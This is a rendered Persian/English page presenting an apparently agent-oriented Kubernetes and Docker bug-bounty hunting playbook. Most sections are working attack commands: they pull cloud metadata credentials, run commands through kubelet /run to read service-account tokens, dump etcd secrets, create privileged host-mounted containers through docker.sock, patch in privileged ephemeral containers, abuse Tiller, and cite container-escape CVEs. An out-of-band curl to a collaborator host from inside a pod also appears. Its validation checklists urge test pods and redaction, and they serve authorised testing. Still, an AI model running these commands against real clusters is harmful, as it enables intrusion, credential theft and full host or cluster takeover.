hunt-k8s

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۳۲۰ کیلوبایت۱۵ بخش

شکار Kubernetes و Docker — دسترسی ناشناس API، exec مربوط به kubelet ۱۰۲۵۰ ‏(SPDY/WebSocket نه POST ساده) و primitive ساده‌تر `/run`، etcd ۲۳۷۹ بدون auth، skip-login مربوط به داشبورد، پیکربندی‌غلط RBAC، سوءاستفاده‌ی توکن secret/SA، فرار میزبان از طریق docker.sock و escape مربوط به runc/کانتینر.

توضیح انگلیسی اصلی (مرجع)

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.

نقشه‌ی ساختار اسکیل

hunt-k8sکلاس آسیب‌پذیری · ۱۵ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳دروازه‌ی اعتبارسنجی۴سطح حمله وسیگنال‌ها۵بخش تکمیلی۶بخش تکمیلی۷بخش تکمیلی۸بخش تکمیلی۹بخش تکمیلی۱۰بخش تکمیلی۱۱بخش تکمیلی۱۲بخش تکمیلی۱۳زنجیره‌هاو ترکیب‌ها۱۴دروازه‌ی اعتبارسنجی۱۵دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۹اهداف ارزشمند · ۱دروازه‌ی اعتبارسنجی · ۳سطح حمله و سیگنال‌ها · ۱زنجیره‌ها و ترکیب‌ها · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۵

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏اسکیل شکار امنیت Kubernetes و Docker.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۵

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏cluster-admin ناشناس مربوط به K8s API یعنی کنترل کامل کلاستر. docker.sock + RCE یعنی root میزبان. یک create مربوط به pod باامتیاز یا شل /run مربوط به kubelet یک یافته را به تصاحب کامل pivot می‌کند.

‏یافته‌های باارزش‌ترین:

  • ‏cluster-admin ناشناس مربوط به K8s API — system:anonymous/system:unauthenticated به نقشی قدرتمند bound است (پیکربندی‌غلط کلاسیک: system:anonymous در یک ClusterRoleBinding به cluster-admin) ← kubectl کامل. صرفاً 200 ناشناس این نیست (بخش false-positive را ببین).
  • ‏exec/run مربوط به Kubelet 10250 — /run خروجی دستور را مستقیم برمی‌گرداند؛ /exec استریم SPDY/WebSocket است (فاز ۳ را ببین). هرکدام ← RCE در هر pod ← دزدیدن توکن SA آن pod.
  • ‏RCE مربوط به kubelet از طریق API-server — /api/v1/nodes/<node>/proxy/run/... به kubelet از طریق API server با توکن (کم‌امتیاز) تو می‌رسد؛ اگر RBAC مقدار nodes/proxy بدهد، بدون لمس مستقیم ۱۰۲۵۰ به RCE مربوط به pod می‌رسی. بردار اصلی ۲۰۲۴-۲۰۲۶.
  • ‏‏etcd 2379 بدون auth — هر Secret ‏(توکن‌های SA، کلیدهای TLS، credهای اپ) ذخیره‌شده، اغلب plaintext (مگر EncryptionConfiguration ست شده باشد) ← dump کامل credential.
  • ‏افشای docker.sock — SSRF/LFI/RCE که به /var/run/docker.sock برسد ← ساخت کانتینر --privileged، bind-mount مربوط به / میزبان ← root میزبان.
  • ‏فرار کانتینر از طریق runc — Leaky Vessels ‏(CVE-2024-21626): WORKDIR/process.cwd که به /proc/self/fd/<n> لو‌رفته‌ی میزبان اشاره کند ← فرار از image/exec تحت‌کنترل مهاجم به root میزبان.
  • ‏سوءاستفاده‌ی توکن SA — توکن auto-mount در /var/run/secrets/kubernetes.io/serviceaccount/token؛ قبل از ادعای impact با SelfSubjectRulesReview grantهای واقعی‌اش را چک کن.
  • ‏skip-login / API بدون توکن مربوط به K8s Dashboard — UI مدیریت کامل کلاستر بدون احراز هویت در دسترس.
۳

دروازه‌ی اعتبارسنجی

OOB / Confirmation Gate (Read First)
ترجمه‌ی کامل ✓بخش ۳ از ۱۵

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏یافته‌های K8s کلاس RCE/افشای credential هستند. قانون خانه: تغییر state یا خواندن داده را اثبات کن، هرگز از status code استنباط نکن.

  • ‏یک 200 روی /api/v1/namespaces به‌معنی cluster-admin نیست. API server به هر principal که به list namespaces برسد 200 با لیست RBAC-فیلترشده (اغلب items: [] خالی) برمی‌گرداند — خواندن ناشناس چند منبع رایج و کم-اثر است. امتیاز واقعی را با SelfSubjectRulesReview / SelfSubjectAccessReview تأیید کن، بعد با خواندن واقعی یک مقدار Secret.
  • ‏۱۰۲۵۵ ‏(فقط-خواندنی) در برابر ۱۰۲۵۰ ‏(exec) مدام با هم قاطی می‌شوند. ۱۰۲۵۵ ‏(HTTP، بدون auth) فقط افشای اطلاعات است — /pods، /stats، /metrics دارد، نه exec/run. ۱۰۲۵۰ ‏(HTTPS) جایی است که /run و /exec زندگی می‌کنند. «kubelet RCE» را از روی hit مربوط به ۱۰۲۵۵ گزارش نده.
  • ‏بردارهای کور/خروجی به OOB نیاز دارند. اگر از طریق SSRF←IMDS←K8s یا egress مربوط به pod اکسپلویت می‌کنی، hop خروجی را با ساب‌دامین Burp Collaborator / interactsh تأیید کن (مثلاً curl http://<token>.<collab> از داخل pod از طریق /run). پاسخ تأخیری یا URL echoشده اثبات نیست.
  • ‏اثبات impact = artifact است. برای exec: خروجی literal مربوط به id/hostname. برای etcd/Secret: بایت‌های توکن دیکدشده (در گزارش redact کن). برای فرار docker.sock: محتوای فایل میزبان (/etc/hostname مربوط به node، متمایز از کانتینر).
  • ‏وقتی حق create داری از namespace/pod تست اختصاصی استفاده کن؛ هرگز برای «اثبات» RCE داخل workloadهای production exec نکن — pod را لیست کن و id فقط-خواندنی را در podی که خودت ساختی اجرا کن اگر policy اجازه می‌دهد، یا به یک id غیرمخرب تکی محدود شو و متوقف شو.
مراحل استخراج‌شده
  1. ۱‏یک `200` روی `/api/v1/namespaces` به‌معنی cluster-admin نیست. API server به *هر* principal که به `list namespaces` برسد `200` با لیست RBAC-فیلترشده (اغلب `items: []` خالی) برمی‌گرداند — خواندن ناشناس چند منبع رایج و کم-اثر است. امتیاز واقعی را با SelfSubjectRulesReview / SelfSubjectAccessReview تأیید کن، بعد با خواندن واقعی یک مقدار Secret.
  2. ۲‏۱۰۲۵۵ ‏(فقط-خواندنی) در برابر ۱۰۲۵۰ ‏(exec) مدام با هم قاطی می‌شوند. ۱۰۲۵۵ ‏(HTTP، بدون auth) فقط افشای اطلاعات است — `/pods`، `/stats`، `/metrics` دارد، نه exec/run. ۱۰۲۵۰ ‏(HTTPS) جایی است که `/run` و `/exec` زندگی می‌کنند. «kubelet RCE» را از روی hit مربوط به ۱۰۲۵۵ گزارش نده.
  3. ۳‏بردارهای کور/خروجی به OOB نیاز دارند. اگر از طریق SSRF←IMDS←K8s یا egress مربوط به pod اکسپلویت می‌کنی، hop خروجی را با ساب‌دامین Burp Collaborator / interactsh تأیید کن (مثلاً `curl http://<token>.<collab>` از داخل pod از طریق `/run`). پاسخ تأخیری یا URL echoشده اثبات نیست.
  4. ۴‏اثبات impact = artifact است. برای exec: خروجی literal مربوط به `id`/`hostname`. برای etcd/Secret: بایت‌های توکن دیکدشده (در گزارش redact کن). برای فرار docker.sock: محتوای فایل میزبان (`/etc/hostname` مربوط به node، متمایز از کانتینر).
  5. ۵‏وقتی حق create داری از namespace/pod تست اختصاصی استفاده کن؛ هرگز برای «اثبات» RCE داخل workloadهای production exec نکن — pod را لیست کن و `id` فقط-خواندنی را در podی که خودت ساختی اجرا کن اگر policy اجازه می‌دهد، یا به یک `id` غیرمخرب تکی محدود شو و متوقف شو.
۴

سطح حمله و سیگنال‌ها

Phase 1 — Fingerprint & Port Discovery
ترجمه‌ی کامل ✓بخش ۴ از ۱۵

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏اثراث انگشت و کشف پورت — /version مربوط به API server، پورت‌های kubelet و etcd:

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

‏gitVersion را یادداشت کن — همه‌ی CVEهای پایین را گیت می‌کند.

۵

بخش تکمیلی

Phase 2 — Kubernetes API Anonymous / Low-Priv Access
ترجمه‌ی کامل ✓بخش ۵ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏دسترسی ناشناس/کم‌امتیاز به Kubernetes API — probeها و بررسی امتیاز واقعی با SelfSubjectRulesReview:

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

‏CVE-2018-1002105 ‏(gitVersion زیر v1.10.11/1.11.5/1.12.3): نقص upgrade مربوط به proxy مربوط به API-server به کاربر ناشناس/کم‌امتیاز اجازه می‌دهد به درخواست‌های بک‌اند (kubelet/aggregated-API) با هویت API-server تشدید کند ← cluster-admin. gitVersion را در فاز ۱ اثراث انگشت کن؛ اگر آسیب‌پذیر است این تنها یافته‌ی پراثرترین است.

۶

بخش تکمیلی

Phase 3 — Kubelet (Port 10250) — `/run` First, `/exec` Done Right
ترجمه‌ی کامل ✓بخش ۶ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏نسخه‌ی قبلی این اسکیل /exec را به‌صورت POST ساده می‌فرستاد و انتظار خروجی id داشت. این غلط است. /exec یک endpoint استریمینگ SPDY/WebSocket است: POST ساده یک redirect مربوط به ۳۰۲ به محل استریم (مثل /cri/exec/<token>) برمی‌گرداند که بعد باید با کلاینت SPDY/WebSocket بخوانی. اپراتوری که curl قدیمی را اجرا کند چیزی نمی‌بیند و اشتباهاً نتیجه می‌گیرد kubelet پچ شده.

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl -s "http://$TARGET:10255/metrics" | head

‏CVE-2020-8558 ‏(اعتماد host-network): روی kube-proxy آسیب‌پذیر، سرویس‌های bound به 127.0.0.1 مربوط به node ‏(شامل kubelet فقط-خواندنی و سرویس‌های دیگر localhost-only) از podهای دیگر/هاست‌های مجاور از طریق IP مربوط به node در دسترس می‌شوند و مرز اعتماد localhost را شکست می‌دهند — مسیر lateral به kubelet/etcd که فرض می‌شدند فقط-loopback.

۷

بخش تکمیلی

Phase 4 — API-Server-Mediated Kubelet RCE (`nodes/proxy`)
ترجمه‌ی کامل ✓بخش ۷ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏وقتی ۱۰۲۵۰ فایروال‌شده است ولی توکنی داری (حتی SA کم‌امتیاز pod) با nodes/proxy، exec را از طریق API server مسیریابی کن:

SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)

# /run via the node proxy → output comes straight back
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
  "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"

# enumerate every pod on a node via the proxy
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"

‏nodes/proxy در هر نقش bound شده عملاً RCE سراسر-node است. CVE-2022-3294 ‏(اعتبارسنجی آدرس node در kube-apiserver): کاربر authenticated می‌توانست اتصال proxy مربوط به API server را به هاست/IP دلخواه در دسترسش redirect کند (proxy به SSRF داخلی / impersonation مربوط به node) — هر وقت بتوانی آدرس‌های node را تحت‌تأثیر بگذاری یا از subresource مربوط به proxy استفاده کنی مرتبط است.

۸

بخش تکمیلی

Phase 4b — Ingress-NGINX "IngressNightmare" (CVE-2025-1974)
ترجمه‌ی کامل ✓بخش ۸ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مهاجم ناشناسی که به admission controller مربوط به ingress-nginx برسد ‏(:8443، معمولاً داخل-کلاستر ولی گاهی افشاشده) کانفیگ NGINX دلخواه را از طریق AdmissionReview دستکاری‌شده برای آبجکت Ingress تزریق می‌کند ← RCE در pod مربوط به controller که service account قدرتمندی دارد ← تصاحب کامل کلاستر. نسخه‌ی controller را اثراث انگشت کن (/healthz، تگ image مربوط به pod) و به زیر ۱.۱۱.۵ / زیر ۱.۱۲.۱ نگاشت کن. ‏(CVE-2025-1974 همراه با CVE-2025-1097/1098/24513/24514.)

۹

بخش تکمیلی

Phase 5 — etcd Unauth (Port 2379)
ترجمه‌ی کامل ✓بخش ۹ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏etcd بدون auth روی پورت ۲۳۷۹ — خواندن کلیدها و dump مقدارهای Secret:

# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40

# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
  -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool

# v2 (older clusters)
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head

‏توکن SA بازیابی‌شده از etcd ← replay علیه API server ‏(فاز ۶) برای تأیید grantها. False positive: یک 200 از پورت peer مربوط به etcd 2380 یا پورت TLS-لازم که خطای handshake می‌دهد دسترسی کلاینت unauth نیست — فقط range/get موفق با داده‌ی کلید است.

۱۰

بخش تکمیلی

Phase 6 — Service Account Token Abuse (Bound / Projected Tokens)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏سوءاستفاده‌ی توکن Service Account — توکن‌های bound/projected و decode مربوط به aud/exp:

# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"

# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
#          "exp" (projected tokens rotate ~1h — a captured token may already be dead),
#          "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.

# Honest privilege check, then prove with a real read
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"

‏تشدید node-shell با EphemeralContainers: با pods/ephemeralcontainers ‏(یا create مربوط به pod)، کانتینر debugی ضمیمه کن که namespaceهای میزبان را share می‌کند تا از pod فرار کنی:

kubectl debug node/$NODE -it --image=busybox      # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
  -d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'
۱۱

بخش تکمیلی

Phase 7 — Docker Socket Exposure & runc Container Escape
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏افشای Docker socket و فرار کانتینر runc — ساخت کانتینر باامتیاز و bind-mount میزبان:

# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json

# Privileged container bind-mounting host root → read/write host fs (host escape)
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST http://localhost/v1.41/containers/create?name=poc \
  -d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).

‏CVEهای فرار-کانتینر (روی runc/نسخه گیت کن):

  • ‏CVE-2024-21626 — «Leaky Vessels» ‏(runc تا ۱.۱.۱۱): file descriptor لو‌رفته‌ی میزبان از طریق /proc/self/fd/<n> به image مخرب (WORKDIR /proc/self/fd/N) یا runc exec با cwd اجازه‌ی فرار به filesystem میزبان را می‌دهد ← RCE میزبان. فقط با imageی که کنترلش می‌کنی روی سطح build/registry که می‌توانی Dockerfile را تحت‌تأثیر بگذاری تست کن.
  • ‏CVE-2019-5736 ‏(runc): بازنویسی /proc/self/exe میزبان (باینری runc) از داخل کانتینری که می‌توانی داخلش exec کنی ← root میزبان در فراخوانی بعدی runc. روی runc خیلی قدیمی اعمال می‌شود.
  • ‏CVE-2022-0492 ‏(release_agent مربوط به cgroups v1): کانتینر با CAP_SYS_ADMIN ‏(یا توان mount مربوط به cgroupfs) یک release_agent می‌نویسد که روی میزبان اجرا می‌شود ← escape. اول capهای کانتینر را چک کن.
۱۲

بخش تکمیلی

Phase 8 — Dashboard, Admission, Helm/Tiller Remnants
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۵

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏داشبورد K8s، webhookهای admission و بقایای Helm/Tiller — endpointهای قدیمی و پورت ۴۴۱۳۴:

# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl -sk "https://$TARGET:8443/api/v1/secret/default"            # secrets list view
curl -sk "https://$TARGET:8443/api/v1/pod/default"               # pods list view
curl -sk "https://$TARGET:8443/api/v1/namespace"                 # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)

# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install/delete any release

# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.
۱۳

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۳ از ۱۵

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی K8sزنجیره بهاثر
API ناشناس با خواندن secret تأییدشدهاستخراج credهای SA/TLS/اپتصاحب کامل کلاستر
توکن nodes/proxy/run از طریق API-server ← RCE مربوط به pod ← توکن SARCE سراسر-node ← تشدید
Kubelet 10250 /runexec در هر pod ← دزدیدن توکن SA ← APIتشدید امتیاز کلاستر
etcd 2379 بدون authdump همه‌ی Secretها (اگر unencrypted) ← replay توکنdump کامل credential
docker.sockکانتینر باامتیاز + bind-mount میزبانroot میزبان
CVE-2024-21626 ‏(runc)image/exec مخرب ← فرار FD مربوط به میزبانکانتینر ← root میزبان
EphemeralContainers / create مربوط به podsکانتینر debug باامتیاز/hostPIDpod ← فرار به node
توکن SA مربوط به Projected ‏(aud تطابق)دسترسی API محدود به RBAC واقعی‌اشبسته به RBAC — اول verify کن
Tiller 44134 افشاشدهhelm install به‌عنوان SA مربوط به TillerCluster-admin اگر Tiller باامتیاز باشد
۱۴

دروازه‌ی اعتبارسنجی

False-Positive Killers
ترجمه‌ی کامل ✓بخش ۱۴ از ۱۵

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏200 ناشناس ≠ cluster-admin. لیست RBAC-فیلترشده 200/items خالی برمی‌گرداند. SelfSubjectRulesReview باید verbها را نشان دهد، بعد خواندن واقعی یک مقدار Secret.
  • ‏۱۰۲۵۵ ≠ ۱۰۲۵۰. kubelet فقط-خواندنی exec/run ندارد. «Kubelet RCE» باید از خروجی /run یا استریم تکمیل‌شده‌ی /exec روی ۱۰۲۵۰ بیاید.
  • ‏‏/exec با POST ساده مقدار ۳۰۲ می‌دهد نه خروجی. ندیدن بدنه «پچ‌شده» نیست — قبل از هر نتیجه‌گیری استریم را دنبال کن (kubeletctl/websocat).
  • ‏توکن SA مربوط به projected/bound ممکن است مرده یا audience-اشتباه باشد. exp و aud را دیکد کن؛ توکن Vault/OIDC-audience به API server احراز هویت نمی‌کند.
  • ‏فرض plaintext مربوط به etcd. اگر EncryptionConfiguration فعال باشد، مقدارهای Secret در etcd متن-رمزند — بدون نشان‌دادن بایت‌های دیکدشده «secretهای plaintext» ادعا نکن.
  • ‏CVEهای version-gated. قبل از ادعای CVE-2018-1002105، -2024-21626، -2019-5736 و غیره gitVersion ‏(فاز ۱) / نسخه‌ی runc را تأیید کن. تطابق نسخه یک lead است؛ خروجی PoC اثبات است.
  • ‏‏200 داشبورد روی شل HTML فقط صفحه‌ی لاگین است؛ فقط 200 با JSON منبع واقعی زیر /api/v1/<resource>/<ns> دسترسی داده‌ی بدون-توکن را اثبات می‌کند.
مراحل استخراج‌شده
  1. ۱‏‏`200` ناشناس ≠ cluster-admin. لیست RBAC-فیلترشده `200`/`items` خالی برمی‌گرداند. SelfSubjectRulesReview باید verbها را نشان دهد، بعد خواندن واقعی یک مقدار Secret.
  2. ۲‏۱۰۲۵۵ ≠ ۱۰۲۵۰. kubelet فقط-خواندنی exec/run ندارد. «Kubelet RCE» باید از خروجی `/run` یا استریم تکمیل‌شده‌ی `/exec` روی ۱۰۲۵۰ بیاید.
  3. ۳‏‏`/exec` با POST ساده مقدار ۳۰۲ می‌دهد نه خروجی. ندیدن بدنه «پچ‌شده» نیست — قبل از هر نتیجه‌گیری استریم را دنبال کن (kubeletctl/websocat).
  4. ۴‏توکن SA مربوط به projected/bound ممکن است مرده یا audience-اشتباه باشد. `exp` و `aud` را دیکد کن؛ توکن Vault/OIDC-audience به API server احراز هویت نمی‌کند.
  5. ۵‏فرض plaintext مربوط به etcd. اگر `EncryptionConfiguration` فعال باشد، مقدارهای Secret در etcd متن-رمزند — بدون نشان‌دادن بایت‌های دیکدشده «secretهای plaintext» ادعا نکن.
  6. ۶‏CVEهای version-gated. قبل از ادعای CVE-2018-1002105، -2024-21626، -2019-5736 و غیره `gitVersion` ‏(فاز ۱) / نسخه‌ی runc را تأیید کن. تطابق نسخه یک lead است؛ خروجی PoC اثبات است.
  7. ۷‏‏`200` داشبورد روی شل HTML فقط صفحه‌ی لاگین است؛ فقط `200` با JSON منبع واقعی زیر `/api/v1/<resource>/<ns>` دسترسی داده‌ی بدون-توکن را اثبات می‌کند.
۱۵

دروازه‌ی اعتبارسنجی

Validation Checklist
ترجمه‌ی کامل ✓بخش ۱۵ از ۱۵

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏API ناشناس: SelfSubjectRulesReview verbهای باامتیاز را نشان می‌دهد و یک مقدار Secret واقعی خوانده شد ‏(redact‌شده).
  • ‏Kubelet: خروجی literal مربوط به id/hostname از /run مربوط به ۱۰۲۵۰ برگشت، یا استریم /exec تکمیل‌شده — نه ۳۰۲ لخت.
  • ‏RCE مربوط به nodes/proxy: خروجی دستور از طریق /api/v1/nodes/<node>/proxy/run/... با توکن تو برگشت.
  • ‏etcd: بایت‌های Secret دیکدشده نشان داده شد (اثبات unencrypted + خواندنی)، نه فقط لیست کلیدها.
  • ‏docker.sock / escape: محتوای فایل میزبانِ NODE بازیابی شد (متمایز از کانتینر)، یا خروجی PoC مربوط به runc-escape.
  • ‏توکن SA: aud/exp دیکد و معتبر نشان داده شد؛ impact به RBAC واقعی‌اش محدود شد.
  • ‏OOB: هر hop خروجی/SSRF از طریق ساب‌دامین Collaborator/interactsh تأیید شد.

‏شدت:

  • ‏API ناشناس←خواندن secret، RCE مربوط به kubelet/nodes-proxy، dump مربوط به etcd، فرار docker.sock/runc، CVE-2018-1002105: Critical
  • ‏دسترسی داده‌ی بدون-توکن داشبورد، Tiller افشاشده: High
  • ‏kubelet ۱۰۲۵۵ فقط-خواندنی، افشای اطلاعات /version//pods ناشناس: Medium
مراحل استخراج‌شده
  1. ۱‏API ناشناس: SelfSubjectRulesReview verbهای باامتیاز را نشان می‌دهد و یک مقدار Secret واقعی خوانده شد ‏(redact‌شده).
